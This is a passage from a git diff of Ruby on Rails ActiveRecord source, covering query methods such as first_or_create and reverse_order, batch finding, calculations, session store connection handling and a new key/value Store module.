Calculations, SpawnMethods, QueryMethods, Batches # These are explicitly delegated to improve performance (avoids method_missing) delegate :to_xml, :to_yaml, :length, :collect, :map, :each, :all?, :include?, :to => :to_a - delegate :table_name, :quoted_table_name, :primary_key, :quoted_primary_key, :to => :klass + delegate :table_name, :quoted_table_name, :primary_key, :quoted_primary_key, :connection, :column_hash,:to => :klass attr_reader :table, :klass, :loaded attr_accessor :extensions, :default_scoped @@ -29,6 +30,7 @@ module ActiveRecord SINGLE_VALUE_METHODS.each {|v| instance_variable_set(:"@#{v}_value", nil)} (ASSOCIATION_METHODS + MULTI_VALUE_METHODS).each {|v| instance_variable_set(:"@#{v}_values", [])} @extensions = [] + @create_with_value = {} end def insert(values) @@ -66,7 +68,7 @@ module ActiveRecord end conn.insert( - im.to_sql, + im, 'SQL', primary_key, primary_key_value, @@ -92,6 +94,48 @@ module ActiveRecord scoping { @klass.create!(*args, &block) } end + # Tries to load the first record; if it fails, then <tt>create</tt> is called with the same arguments as this method. + # + # Expects arguments in the same format as <tt>Base.create</tt>. + # + # ==== Examples + # # Find the first user named Penélope or create a new one. + # User.where(:first_name => 'Penélope').first_or_create + # # => <User id: 1, first_name: 'Penélope', last_name: nil> + # + # # Find the first user named Penélope or create a new one. + # # We already have one so the existing record will be returned. + # User.where(:first_name => 'Penélope').first_or_create + # # => <User id: 1, first_name: 'Penélope', last_name: nil> + # + # # Find the first user named Scarlett or create a new one with a particular last name. + # User.where(:first_name => 'Scarlett').first_or_create(:last_name => 'Johansson') + # # => <User id: 2, first_name: 'Scarlett', last_name: 'Johansson'> + # + # # Find the first user named Scarlett or create a new one with a different last name. + # # We already have one so the existing record will be returned. + # User.where(:first_name => 'Scarlett').first_or_create do |user| + # user.last_name = "O'Hara" + # end + # # => <User id: 2, first_name: 'Scarlett', last_name: 'Johansson'> + def first_or_create(attributes = nil, options = {}, &block) + first || create(attributes, options, &block) + end + + # Like <tt>first_or_create</tt> but calls <tt>create!</tt> so an exception is raised if the created record is invalid. + # + # Expects arguments in the same format as <tt>Base.create!</tt>. + def first_or_create!(attributes = nil, options = {}, &block) + first || create!(attributes, options, &block) + end + + # Like <tt>first_or_create</tt> but calls <tt>new</tt> instead of <tt>create</tt>. + # + # Expects arguments in the same format as <tt>Base.new</tt>. + def first_or_initialize(attributes = nil, options = {}, &block) + first || new(attributes, options, &block) + end + def respond_to?(method, include_private = false) arel.respond_to?(method, include_private) || Array.method_defined?(method) || @@ -102,24 +146,30 @@ module ActiveRecord def to_a return @records if loaded? - @records = if @readonly_value.nil? && !@klass.locking_enabled? - eager_loading? ? find_with_associations : @klass.find_by_sql(arel.to_sql, @bind_values) - else - IdentityMap.without do - eager_loading? ? find_with_associations : @klass.find_by_sql(arel.to_sql, @bind_values) + default_scoped = with_default_scope + + if default_scoped.equal?(self) + @records = if @readonly_value.nil? && !@klass.locking_enabled? + eager_loading? ? find_with_associations : @klass.find_by_sql(arel, @bind_values) + else + IdentityMap.without do + eager_loading? ? find_with_associations : @klass.find_by_sql(arel, @bind_values) + end end - end - preload = @preload_values - preload += @includes_values unless eager_loading? - preload.each do |associations| - ActiveRecord::Associations::Preloader.new(@records, associations).run - end + preload = @preload_values + preload += @includes_values unless eager_loading? + preload.each do |associations| + ActiveRecord::Associations::Preloader.new(@records, associations).run + end - # @readonly_value is true only if set explicitly. @implicit_readonly is true if there - # are JOINS and no explicit SELECT. - readonly = @readonly_value.nil? ? @implicit_readonly : @readonly_value - @records.each { |record| record.readonly! } if readonly + # @readonly_value is true only if set explicitly. @implicit_readonly is true if there + # are JOINS and no explicit SELECT. + readonly = @readonly_value.nil? ? @implicit_readonly : @readonly_value + @records.each { |record| record.readonly! } if readonly + else + @records = default_scoped.to_a + end @loaded = true @records @@ -208,19 +258,21 @@ module ActiveRecord if conditions || options.present? where(conditions).apply_finder_options(options.slice(:limit, :order)).update_all(updates) else - limit = nil - order = [] - # Apply limit and order only if they're both present - if @limit_value.present? == @order_values.present? - limit = arel.limit - order = arel.orders - end + stmt = Arel::UpdateManager.new(arel.engine) - stmt = arel.compile_update(Arel.sql(@klass.send(:sanitize_sql_for_assignment, updates))) - stmt.take limit if limit - stmt.order(*order) + stmt.set Arel.sql(@klass.send(:sanitize_sql_for_assignment, updates)) + stmt.table(table) stmt.key = table[primary_key] - @klass.connection.update stmt.to_sql, 'SQL', bind_values + + if joins_values.any? + @klass.connection.join_to_update(stmt, arel) + else + stmt.take(arel.limit) + stmt.order(*arel.orders) + stmt.wheres = arel.constraints + end + + @klass.connection.update stmt, 'SQL', bind_values end end @@ -242,8 +294,7 @@ module ActiveRecord # Person.update(people.keys, people.values) def update(id, attributes) if id.is_a?(Array) - idx = -1 - id.collect { |one_id| idx += 1; update(one_id, attributes[idx]) } + id.each.with_index.map {|one_id, idx| update(one_id, attributes[idx])} else object = find(id) object.update_attributes(attributes) @@ -287,7 +338,7 @@ module ActiveRecord end # Destroy an object (or multiple objects) that has the given id, the object is instantiated first, - # therefore all callbacks and filters are fired off before the object is deleted. This method is + # therefore all callbacks and filters are fired off before the object is deleted. This method is # less efficient than ActiveRecord#delete but allows cleanup methods and other actions to be run. # # This essentially finds the object (or multiple objects) with the given id, creates a new object @@ -316,7 +367,7 @@ module ActiveRecord # Deletes the records matching +conditions+ without instantiating the records first, and hence not # calling the +destroy+ method nor invoking callbacks. This is a single SQL DELETE statement that # goes straight to the database, much more efficient than +destroy_all+. Be careful with relations - # though, in particular <tt>:dependent</tt> rules defined on associations are not honored. Returns + # though, in particular <tt>:dependent</tt> rules defined on associations are not honored. Returns # the number of rows affected. # # ==== Parameters @@ -338,8 +389,7 @@ module ActiveRecord where(conditions).delete_all else statement = arel.compile_delete - affected = @klass.connection.delete( - statement.to_sql, 'SQL', bind_values) + affected = @klass.connection.delete(statement, 'SQL', bind_values) reset affected @@ -385,7 +435,7 @@ module ActiveRecord end def to_sql - @to_sql ||= arel.to_sql + @to_sql ||= klass.connection.to_sql(arel) end def where_values_hash @@ -397,11 +447,21 @@ module ActiveRecord end def scope_for_create - @scope_for_create ||= where_values_hash.merge(@create_with_value || {}) + @scope_for_create ||= where_values_hash.merge(create_with_value) end def eager_loading? - @should_eager_load ||= (@eager_load_values.any? || (@includes_values.any? && references_eager_loaded_tables?)) + @should_eager_load ||= + @eager_load_values.any? || + @includes_values.any? && (joined_includes_values.any? || references_eager_loaded_tables?) + end + + # Joins that are also marked for preloading. In which case we should just eager load them. + # Note that this is a naive implementation because we could have strings and symbols which + # represent the same association, but that aren't matched by this. Also, we could have + # nested hashes which partially match, e.g. { :a => :b } & { :a => [:b, :c] } + def joined_includes_values + @includes_values & @joins_values end def ==(other) @@ -418,9 +478,10 @@ module ActiveRecord end def with_default_scope #:nodoc: - if default_scoped? - default_scope = @klass.send(:build_default_scope) - default_scope ? default_scope.merge(self) : self + if default_scoped? && default_scope = klass.send(:build_default_scope) + default_scope = default_scope.merge(self) + default_scope.default_scoped = false + default_scope else self end diff --git a/activerecord/lib/active_record/relation/batches.rb b/activerecord/lib/active_record/relation/batches.rb index d52b84179f..2fd89882ff 100644 --- a/activerecord/lib/active_record/relation/batches.rb +++ b/activerecord/lib/active_record/relation/batches.rb @@ -20,8 +20,6 @@ module ActiveRecord find_in_batches(options) do |records| records.each { |record| yield record } end - - self end # Yields each batch of records that was found by the find +options+ as @@ -64,15 +62,18 @@ module ActiveRecord start = options.delete(:start).to_i batch_size = options.delete(:batch_size) || 1000 - relation = relation.except(:order).order(batch_order).limit(batch_size) + relation = relation.reorder(batch_order).limit(batch_size) records = relation.where(table[primary_key].gteq(start)).all while records.any? + records_size = records.size + primary_key_offset = records.last.id + yield records - break if records.size < batch_size + break if records_size < batch_size - if primary_key_offset = records.last.id + if primary_key_offset records = relation.where(table[primary_key].gt(primary_key_offset)).to_a else raise "Primary key not included in the custom select clause" diff --git a/activerecord/lib/active_record/relation/calculations.rb b/activerecord/lib/active_record/relation/calculations.rb index 0fcae92d51..af86771d2d 100644 --- a/activerecord/lib/active_record/relation/calculations.rb +++ b/activerecord/lib/active_record/relation/calculations.rb @@ -66,7 +66,7 @@ module ActiveRecord calculate(:average, column_name, options) end - # Calculates the minimum value on a given column. The value is returned + # Calculates the minimum value on a given column. The value is returned # with the same data type of the column, or +nil+ if there's no row. See # +calculate+ for examples with options. # @@ -89,11 +89,15 @@ module ActiveRecord # +calculate+ for examples with options. # # Person.sum('age') # => 4562 - def sum(column_name, options = {}) - calculate(:sum, column_name, options) + def sum(*args) + if block_given? + self.to_a.sum(*args) {|*block_args| yield(*block_args)} + else + calculate(:sum, *args) + end end - # This calculates aggregate values in the given column. Methods for count, sum, average, + # This calculates aggregate values in the given column. Methods for count, sum, average, # minimum, and maximum have been added as shortcuts. Options such as <tt>:conditions</tt>, # <tt>:order</tt>, <tt>:group</tt>, <tt>:having</tt>, and <tt>:joins</tt> can be passed to customize the query. # @@ -101,7 +105,7 @@ module ActiveRecord # * Single aggregate value: The single value is type cast to Fixnum for COUNT, Float # for AVG, and the given column's type for everything else. # * Grouped values: This returns an ordered hash of the values and groups them by the - # <tt>:group</tt> option. It takes either a column name, or the name of a belongs_to association. + # <tt>:group</tt> option. It takes either a column name, or the name of a belongs_to association. # # values = Person.maximum(:age, :group => 'last_name') # puts values["Drake"] @@ -119,7 +123,7 @@ module ActiveRecord # Options: # * <tt>:conditions</tt> - An SQL fragment like "administrator = 1" or [ "user_name = ?", username ]. # See conditions in the intro to ActiveRecord::Base. - # * <tt>:include</tt>: Eager loading, see Associations for details. Since calculations don't load anything, + # * <tt>:include</tt>: Eager loading, see Associations for details. Since calculations don't load anything, # the purpose of this is to access fields on joined tables in your conditions, order, or group clauses. # * <tt>:joins</tt> - An SQL fragment for additional joins like "LEFT JOIN comments ON comments.post_id = id". # (Rarely needed). @@ -146,10 +150,16 @@ module ActiveRecord if options.except(:distinct).present? apply_finder_options(options.except(:distinct)).calculate(operation, column_name, :distinct => options[:distinct]) else - if eager_loading? || (includes_values.present? && references_eager_loaded_tables?) - construct_relation_for_association_calculations.calculate(operation, column_name, options) + relation = with_default_scope + + if relation.equal?(self) + if eager_loading? || (includes_values.present? && references_eager_loaded_tables?) + construct_relation_for_association_calculations.calculate(operation, column_name, options) + else + perform_calculation(operation, column_name, options) + end else - perform_calculation(operation, column_name, options) + relation.calculate(operation, column_name, options) end end rescue ThrowResult @@ -213,7 +223,7 @@ module ActiveRecord query_builder = relation.arel end - type_cast_calculated_value(@klass.connection.select_value(query_builder.to_sql), column_for(column_name), operation) + type_cast_calculated_value(@klass.connection.select_value(query_builder), column_for(column_name), operation) end def execute_grouped_calculation(operation, column_name, distinct) #:nodoc: @@ -240,6 +250,7 @@ module ActiveRecord operation, distinct).as(aggregate_alias) ] + select_values += @select_values unless @having_values.empty? select_values.concat group_fields.zip(group_aliases).map { |field,aliaz| "#{field} AS #{aliaz}" @@ -248,7 +259,7 @@ module ActiveRecord relation = except(:group).group(group.join(',')) relation.select_values = select_values - calculated_data = @klass.connection.select_all(relation.to_sql) + calculated_data = @klass.connection.select_all(relation) if association key_ids = calculated_data.collect { |row| row[group_aliases.first] } diff --git a/activerecord/lib/active_record/relation/finder_methods.rb b/activerecord/lib/active_record/relation/finder_methods.rb index 32d1cff6c3..7eeb3dde70 100644 --- a/activerecord/lib/active_record/relation/finder_methods.rb +++ b/activerecord/lib/active_record/relation/finder_methods.rb @@ -83,7 +83,7 @@ module ActiveRecord # # Example for find with a lock: Imagine two concurrent transactions: # each will read <tt>person.visits == 2</tt>, add 1 to it, and save, resulting - # in two saves of <tt>person.visits = 3</tt>. By locking the row, the second + # in two saves of <tt>person.visits = 3</tt>. By locking the row, the second # transaction has to wait until the first is finished; we get the # expected <tt>person.visits == 4</tt>. # @@ -114,7 +114,7 @@ module ActiveRecord def first(*args) if args.any? if args.first.kind_of?(Integer) || (loaded? && !args.first.kind_of?(Hash)) - to_a.first(*args) + limit(*args).to_a else apply_finder_options(args.first).first end @@ -134,7 +134,11 @@ module ActiveRecord def last(*args) if args.any? if args.first.kind_of?(Integer) || (loaded? && !args.first.kind_of?(Hash)) - to_a.last(*args) + if order_values.empty? && reorder_value.nil? + order("#{primary_key} DESC").limit(*args).reverse + else + to_a.last(*args) + end else apply_finder_options(args.first).last end @@ -180,7 +184,9 @@ module ActiveRecord # Person.exists?(:name => "David") # Person.exists?(['name LIKE ?', "%#{query}%"]) # Person.exists? - def exists?(id = nil) + def exists?(id = false) + return false if id.nil? + id = id.id if ActiveRecord::Base === id join_dependency = construct_join_dependency_for_association_find @@ -194,7 +200,7 @@ module ActiveRecord relation = relation.where(table[primary_key].eq(id)) if id end - connection.select_value(relation.to_sql) ? true : false + connection.select_value(relation, "#{name} Exists") ? true : false end protected @@ -202,7 +208,7 @@ module ActiveRecord def find_with_associations join_dependency = construct_join_dependency_for_association_find relation = construct_relation_for_association_find(join_dependency) - rows = connection.select_all(relation.to_sql, 'SQL', relation.bind_values) + rows = connection.select_all(relation, 'SQL', relation.bind_values) join_dependency.instantiate(rows) rescue ThrowResult [] @@ -226,7 +232,7 @@ module ActiveRecord end def apply_join_dependency(relation, join_dependency) - for association in join_dependency.join_associations + join_dependency.join_associations.each do |association| relation = association.join_relation(relation) end @@ -243,7 +249,7 @@ module ActiveRecord end def construct_limited_ids_condition(relation) - orders = relation.order_values + orders = relation.order_values.map { |val| val.presence }.compact values = @klass.connection.distinct("#{@klass.connection.quote_table_name table_name}.#{primary_key}", orders) relation = relation.dup @@ -259,11 +265,13 @@ module ActiveRecord if match.bang? && result.blank? raise RecordNotFound, "Couldn't find #{@klass.name} with #{conditions.to_a.collect {|p| p.join(' = ')}.join(', ')}" else + yield(result) if block_given? result end end def find_or_instantiator_by_attributes(match, attributes, *args) + options = args.size > 1 && args.last(2).all?{ |a| a.is_a?(Hash) } ? args.extract_options! : {} protected_attributes_for_create, unprotected_attributes_for_create = {}, {} args.each_with_index do |arg, i| if arg.is_a?(Hash) @@ -278,8 +286,7 @@ module ActiveRecord record = where(conditions).first unless record - record = @klass.new do |r| - r.assign_attributes(protected_attributes_for_create) + record = @klass.new(protected_attributes_for_create, options) do |r| r.assign_attributes(unprotected_attributes_for_create, :without_protection => true) end yield(record) if block_given? diff --git a/activerecord/lib/active_record/relation/predicate_builder.rb b/activerecord/lib/active_record/relation/predicate_builder.rb index 2814771002..7e8ddd1b5d 100644 --- a/activerecord/lib/active_record/relation/predicate_builder.rb +++ b/activerecord/lib/active_record/relation/predicate_builder.rb @@ -19,7 +19,7 @@ module ActiveRecord case value when ActiveRecord::Relation - value.select_values = [value.klass.arel_table['id']] if value.select_values.empty? + value = value.select(value.klass.arel_table[value.klass.primary_key]) if value.select_values.empty? attribute.in(value.arel.ast) when Array, ActiveRecord::Associations::CollectionProxy values = value.to_a.map { |x| diff --git a/activerecord/lib/active_record/relation/query_methods.rb b/activerecord/lib/active_record/relation/query_methods.rb index 94aa999715..670ba0987d 100644 --- a/activerecord/lib/active_record/relation/query_methods.rb +++ b/activerecord/lib/active_record/relation/query_methods.rb @@ -9,7 +9,7 @@ module ActiveRecord :select_values, :group_values, :order_values, :joins_values, :where_values, :having_values, :bind_values, :limit_value, :offset_value, :lock_value, :readonly_value, :create_with_value, - :from_value, :reorder_value + :from_value, :reorder_value, :reverse_order_value def includes(*args) args.reject! {|a| a.blank? } @@ -37,6 +37,35 @@ module ActiveRecord relation end + # Works in two unique ways. + # + # First: takes a block so it can be used just like Array#select. + # + # Model.scoped.select { |m| m.field == value } + # + # This will build an array of objects from the database for the scope, + # converting them into an array and iterating through them using Array#select. + # + # Second: Modifies the SELECT statement for the query so that only certain + # fields are retrieved: + # + # >> Model.select(:field) + # => [#<Model field:value>] + # + # Although in the above example it looks as though this method returns an + # array, it actually returns a relation object and can have other query + # methods appended to it, such as the other methods in ActiveRecord::QueryMethods. + # + # This method will also take multiple parameters: + # + # >> Model.select(:field, :other_field, :and_one_more) + # => [#<Model field: "value", other_field: "value", and_one_more: "value">] + # + # Any attributes that do not have fields retrieved by a select + # will return `nil` when the getter method for that attribute is used: + # + # >> Model.select(:field).first.other_field + # => nil def select(value = Proc.new) if block_given? to_a.select {|*block_args| value.call(*block_args) } @@ -96,11 +125,11 @@ module ActiveRecord relation end - def having(*args) - return self if args.blank? + def having(opts, *rest) + return self if opts.blank? relation = clone - relation.having_values += build_where(*args) + relation.having_values += build_where(opts, rest) relation end @@ -137,7 +166,7 @@ module ActiveRecord def create_with(value) relation = clone - relation.create_with_value = value && (@create_with_value || {}).merge(value) + relation.create_with_value = value ? create_with_value.merge(value) : {} relation end @@ -147,6 +176,42 @@ module ActiveRecord relation end + # Used to extend a scope with additional methods, either through + # a module or through a block provided. + # + # The object returned is a relation, which can be further extended. + # + # === Using a module + # + # module Pagination + # def page(number) + # # pagination code goes here + # end + # end + # + # scope = Model.scoped.extending(Pagination) + # scope.page(params[:page]) + # + # You can also pass a list of modules: + # + # scope = Model.scoped.extending(Pagination, SomethingElse) + # + # === Using a block + # + # scope = Model.scoped.extending do + # def page(number) + # # pagination code goes here + # end + # end + # scope.page(params[:page]) + # + # You can also use a block and a module list: + # + # scope = Model.scoped.extending(Pagination) do + # def per_page(number) + # # pagination code goes here + # end + # end def extending(*modules) modules << Module.new(&Proc.new) if block_given? @@ -158,13 +223,9 @@ module ActiveRecord end def reverse_order - order_clause = arel.order_clauses - - order = order_clause.empty? ? - "#{table_name}.#{primary_key} DESC" : - reverse_sql_order(order_clause).join(', ') - - except(:order).order(Arel.sql(order)) + relation = clone + relation.reverse_order_value = !relation.reverse_order_value + relation end def arel @@ -186,6 +247,7 @@ module ActiveRecord arel.group(*@group_values.uniq.reject{|g| g.blank?}) unless @group_values.empty? order = @reorder_value ? @reorder_value : @order_values + order = reverse_sql_order(order) if @reverse_order_value arel.order(*order.uniq.reject{|o| o.blank?}) unless order.empty? build_select(arel, @select_values.uniq) @@ -257,12 +319,12 @@ module ActiveRecord association_joins = buckets['association_join'] || [] stashed_association_joins = buckets['stashed_join'] || [] - join_nodes = buckets['join_node'] || [] + join_nodes = (buckets['join_node'] || []).uniq string_joins = (buckets['string_join'] || []).map { |x| x.strip }.uniq - join_list = custom_join_ast(manager, string_joins) + join_list = join_nodes + custom_join_ast(manager, string_joins) join_dependency = ActiveRecord::Associations::JoinDependency.new( @klass, @@ -270,10 +332,6 @@ module ActiveRecord join_list ) - join_nodes.each do |join| - join_dependency.alias_tracker.aliased_name_for(join.left.name.downcase) - end - join_dependency.graft(*stashed_association_joins) @implicit_readonly = true unless association_joins.empty? && stashed_association_joins.empty? @@ -283,7 +341,6 @@ module ActiveRecord association.join_to(manager) end - manager.join_sources.concat join_nodes.uniq manager.join_sources.concat join_list manager @@ -306,9 +363,21 @@ module ActiveRecord end def reverse_sql_order(order_query) - order_query.join(', ').split(',').collect do |s| - s.gsub!(/\sasc\Z/i, ' DESC') || s.gsub!(/\sdesc\Z/i, ' ASC') || s.concat(' DESC') - end + order_query = ["#{quoted_table_name}.#{quoted_primary_key} ASC"] if order_query.empty? + + order_query.map do |o| + case o + when Arel::Nodes::Ordering + o.reverse + when String, Symbol + o.to_s.split(',').collect do |s| + s.strip! + s.gsub!(/\sasc\Z/i, ' DESC') || s.gsub!(/\sdesc\Z/i, ' ASC') || s.concat(' DESC') + end + else + o + end + end.flatten end def array_of_strings?(o) diff --git a/activerecord/lib/active_record/relation/spawn_methods.rb b/activerecord/lib/active_record/relation/spawn_methods.rb index 69706b5ead..ba882beca9 100644 --- a/activerecord/lib/active_record/relation/spawn_methods.rb +++ b/activerecord/lib/active_record/relation/spawn_methods.rb @@ -55,7 +55,7 @@ module ActiveRecord merged_relation.lock_value = r.lock_value unless merged_relation.lock_value - merged_relation = merged_relation.create_with(r.create_with_value) if r.create_with_value + merged_relation = merged_relation.create_with(r.create_with_value) unless r.create_with_value.empty? # Apply scope extension modules merged_relation.send :apply_modules, r.extensions diff --git a/activerecord/lib/active_record/result.rb b/activerecord/lib/active_record/result.rb index 243012f88c..9ceab2eabc 100644 --- a/activerecord/lib/active_record/result.rb +++ b/activerecord/lib/active_record/result.rb @@ -1,7 +1,7 @@ module ActiveRecord ### # This class encapsulates a Result returned from calling +exec_query+ on any - # database connection adapter. For example: + # database connection adapter. For example: # # x = ActiveRecord::Base.connection.exec_query('SELECT * FROM foo') # x # => #<ActiveRecord::Result:0xdeadbeef> diff --git a/activerecord/lib/active_record/schema_dumper.rb b/activerecord/lib/active_record/schema_dumper.rb index a893c0ad85..6fe305f843 100644 --- a/activerecord/lib/active_record/schema_dumper.rb +++ b/activerecord/lib/active_record/schema_dumper.rb @@ -40,6 +40,10 @@ module ActiveRecord def header(stream) define_params = @version ? ":version => #{@version}" : "" + if stream.respond_to?(:external_encoding) + stream.puts "# encoding: #{stream.external_encoding.name}" + end + stream.puts <<HEADER # This file is auto-generated from the current state of the database. Instead # of editing this file, please use the migrations feature of Active Record to @@ -106,7 +110,7 @@ HEADER spec = {} spec[:name] = column.name.inspect - # AR has an optimisation which handles zero-scale decimals as integers. This + # AR has an optimization which handles zero-scale decimals as integers. This # code ensures that the dumper still dumps the column as a decimal. spec[:type] = if column.type == :integer && [/^numeric/, /^decimal/].any? { |e| e.match(column.sql_type) } 'decimal' diff --git a/activerecord/lib/active_record/serialization.rb b/activerecord/lib/active_record/serialization.rb index 2bde06f562..5ad40d8cd9 100644 --- a/activerecord/lib/active_record/serialization.rb +++ b/activerecord/lib/active_record/serialization.rb @@ -10,50 +10,8 @@ module ActiveRecord #:nodoc: options[:except] = Array.wrap(options[:except]).map { |n| n.to_s } options[:except] |= Array.wrap(self.class.inheritance_column) - hash = super(options) - - serializable_add_includes(options) do |association, records, opts| - hash[association] = records.is_a?(Enumerable) ? - records.map { |r| r.serializable_hash(opts) } : - records.serializable_hash(opts) - end - - hash + super(options) end - - private - # Add associations specified via the <tt>:include</tt> option. - # - # Expects a block that takes as arguments: - # +association+ - name of the association - # +records+ - the association record(s) to be serialized - # +opts+ - options for the association records - def serializable_add_includes(options = {}) - return unless include_associations = options.delete(:include) - - base_only_or_except = { :except => options[:except], - :only => options[:only] } - - include_has_options = include_associations.is_a?(Hash) - associations = include_has_options ? include_associations.keys : Array.wrap(include_associations) - - for association in associations - records = case self.class.reflect_on_association(association).macro - when :has_many, :has_and_belongs_to_many - send(association).to_a - when :has_one, :belongs_to - send(association) - end - - if records - association_options = include_has_options ? include_associations[association] : base_only_or_except - opts = options.merge(association_options) - yield(association, records, opts) - end - end - - options[:include] = include_associations - end end end diff --git a/activerecord/lib/active_record/serializers/xml_serializer.rb b/activerecord/lib/active_record/serializers/xml_serializer.rb index 8c4adf7116..0e7f57aa43 100644 --- a/activerecord/lib/active_record/serializers/xml_serializer.rb +++ b/activerecord/lib/active_record/serializers/xml_serializer.rb @@ -75,7 +75,7 @@ module ActiveRecord #:nodoc: # </firm> # # Additionally, the record being serialized will be passed to a Proc's second - # parameter. This allows for ad hoc additions to the resultant document that + # parameter. This allows for ad hoc additions to the resultant document that # incorporate the context of the record being serialized. And by leveraging the # closure created by a Proc, to_xml can be used to add elements that normally fall # outside of the scope of the model -- for example, generating and appending URLs @@ -179,49 +179,7 @@ module ActiveRecord #:nodoc: class XmlSerializer < ActiveModel::Serializers::Xml::Serializer #:nodoc: def initialize(*args) super - options[:except] |= Array.wrap(@serializable.class.inheritance_column) - end - - def add_extra_behavior - add_includes - end - - def add_includes - procs = options.delete(:procs) - @serializable.send(:serializable_add_includes, options) do |association, records, opts| - add_associations(association, records, opts) - end - options[:procs] = procs - end - - # TODO This can likely be cleaned up to simple use ActiveSupport::XmlMini.to_tag as well. - def add_associations(association, records, opts) - association_name = association.to_s.singularize - merged_options = options.merge(opts).merge!(:root => association_name, :skip_instruct => true) - - if records.is_a?(Enumerable) - tag = ActiveSupport::XmlMini.rename_key(association.to_s, options) - type = options[:skip_types] ? { } : {:type => "array"} - - if records.empty? - @builder.tag!(tag, type) - else - @builder.tag!(tag, type) do - records.each do |record| - if options[:skip_types] - record_type = {} - else - record_class = (record.class.to_s.underscore == association_name) ? nil : record.class.name - record_type = {:type => record_class} - end - - record.to_xml merged_options.merge(record_type) - end - end - end - elsif record = @serializable.send(association) - record.to_xml(merged_options) - end + options[:except] = Array.wrap(options[:except]) | Array.wrap(@serializable.class.inheritance_column) end class Attribute < ActiveModel::Serializers::Xml::Serializer::Attribute #:nodoc: diff --git a/activerecord/lib/active_record/session_store.rb b/activerecord/lib/active_record/session_store.rb index 7bbac1505e..92550c7efc 100644 --- a/activerecord/lib/active_record/session_store.rb +++ b/activerecord/lib/active_record/session_store.rb @@ -1,7 +1,7 @@ module ActiveRecord # = Active Record Session Store # - # A session store backed by an Active Record class. A default class is + # A session store backed by an Active Record class. A default class is # provided, but any object duck-typing to an Active Record Session class # with text +session_id+ and +data+ attributes is sufficient. # @@ -23,7 +23,7 @@ module ActiveRecord # ActiveRecord::SessionStore::Session.data_column_name = 'legacy_session_data' # # Note that setting the primary key to the +session_id+ frees you from - # having a separate +id+ column if you don't want it. However, you must + # having a separate +id+ column if you don't want it. However, you must # set <tt>session.model.id = session.session_id</tt> by hand! A before filter # on ApplicationController is a good place. # @@ -46,7 +46,7 @@ module ActiveRecord # save # destroy # - # The example SqlBypass class is a generic SQL session store. You may + # The example SqlBypass class is a generic SQL session store. You may # use it as a basis for high-performance database-specific stores. class SessionStore < ActionDispatch::Session::AbstractStore module ClassMethods # :nodoc: @@ -80,7 +80,7 @@ module ActiveRecord ## # :singleton-method: - # Customizable data column name. Defaults to 'data'. + # Customizable data column name. Defaults to 'data'. cattr_accessor :data_column_name self.data_column_name = 'data' @@ -162,12 +162,12 @@ module ActiveRecord end # A barebones session store which duck-types with the default session - # store but bypasses Active Record and issues SQL directly. This is + # store but bypasses Active Record and issues SQL directly. This is # an example session model class meant as a basis for your own classes. # # The database connection, table name, and session id and data columns - # are configurable class attributes. Marshaling and unmarshaling - # are implemented as class methods that you may override. By default, + # are configurable class attributes. Marshaling and unmarshaling + # are implemented as class methods that you may override. By default, # marshaling data is # # ActiveSupport::Base64.encode64(Marshal.dump(data)) @@ -177,18 +177,13 @@ module ActiveRecord # Marshal.load(ActiveSupport::Base64.decode64(data)) # # This marshaling behavior is intended to store the widest range of - # binary session data in a +text+ column. For higher performance, + # binary session data in a +text+ column. For higher performance, # store in a +blob+ column instead and forgo the Base64 encoding. class SqlBypass extend ClassMethods ## # :singleton-method: - # Use the ActiveRecord::Base.connection by default. - cattr_accessor :connection - - ## - # :singleton-method: # The table name defaults to 'sessions'. cattr_accessor :table_name @@table_name = 'sessions' @@ -207,10 +202,19 @@ module ActiveRecord class << self alias :data_column_name :data_column + + # Use the ActiveRecord::Base.connection by default. + attr_writer :connection + + # Use the ActiveRecord::Base.connection_pool by default. + attr_writer :connection_pool - remove_method :connection def connection - @@connection ||= ActiveRecord::Base.connection + @connection ||= ActiveRecord::Base.connection + end + + def connection_pool + @connection_pool ||= ActiveRecord::Base.connection_pool end # Look up a session by id and unmarshal its data if found. @@ -220,6 +224,8 @@ module ActiveRecord end end end + + delegate :connection, :connection=, :connection_pool, :connection_pool=, :to => self attr_reader :session_id, :new_record alias :new_record? :new_record @@ -287,7 +293,7 @@ module ActiveRecord end end - # The class used for session storage. Defaults to + # The class used for session storage. Defaults to # ActiveRecord::SessionStore::Session cattr_accessor :session_class self.session_class = Session @@ -298,8 +304,12 @@ module ActiveRecord private def get_session(env, sid) Base.silence do - sid ||= generate_sid - session = find_session(sid) + unless sid and session = @@session_class.find_by_session_id(sid) + # If the sid was nil or if there is no pre-existing session under the sid, + # force the generation of a new sid and associate a new session associated with the new sid + sid = generate_sid + session = @@session_class.new(:session_id => sid, :data => {}) + end env[SESSION_RECORD_KEY] = session [sid, session.data] end diff --git a/activerecord/lib/active_record/store.rb b/activerecord/lib/active_record/store.rb new file mode 100644 index 0000000000..8cc84f81d0 --- /dev/null +++ b/activerecord/lib/active_record/store.rb @@ -0,0 +1,50 @@ +module ActiveRecord + # Store gives you a thin wrapper around serialize for the purpose of storing hashes in a single column. + # It's like a simple key/value store backed into your record when you don't care about being able to + # query that store outside the context of a single record. + # + # You can then declare accessors to this store that are then accessible just like any other attribute + # of the model. This is very helpful for easily exposing store keys to a form or elsewhere that's + # already built around just accessing attributes on the model. + # + # Make sure that you declare the database column used for the serialized store as a text, so there's + # plenty of room. + # + # Examples: + # + # class User < ActiveRecord::Base + # store :settings, accessors: [ :color, :homepage ] + # end + # + # u = User.new(color: 'black', homepage: '37signals.com') + # u.color # Accessor stored attribute + # u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor + # + # # Add additional accessors to an existing store through store_accessor + # class SuperUser < User + # store_accessor :settings, :privileges, :servants + # end + module Store + extend ActiveSupport::Concern + + module ClassMethods + def store(store_attribute, options = {}) + serialize store_attribute, Hash + store_accessor(store_attribute, options[:accessors]) if options.has_key? :accessors + end + + def store_accessor(store_attribute, *keys) + Array(keys).flatten.each do |key| + define_method("#{key}=") do |value| + send(store_attribute)[key] = value + send("#{store_attribute}_will_change!") + end + + define_method(key) do + send(store_attribute)[key] + end + end + end + end + end +end
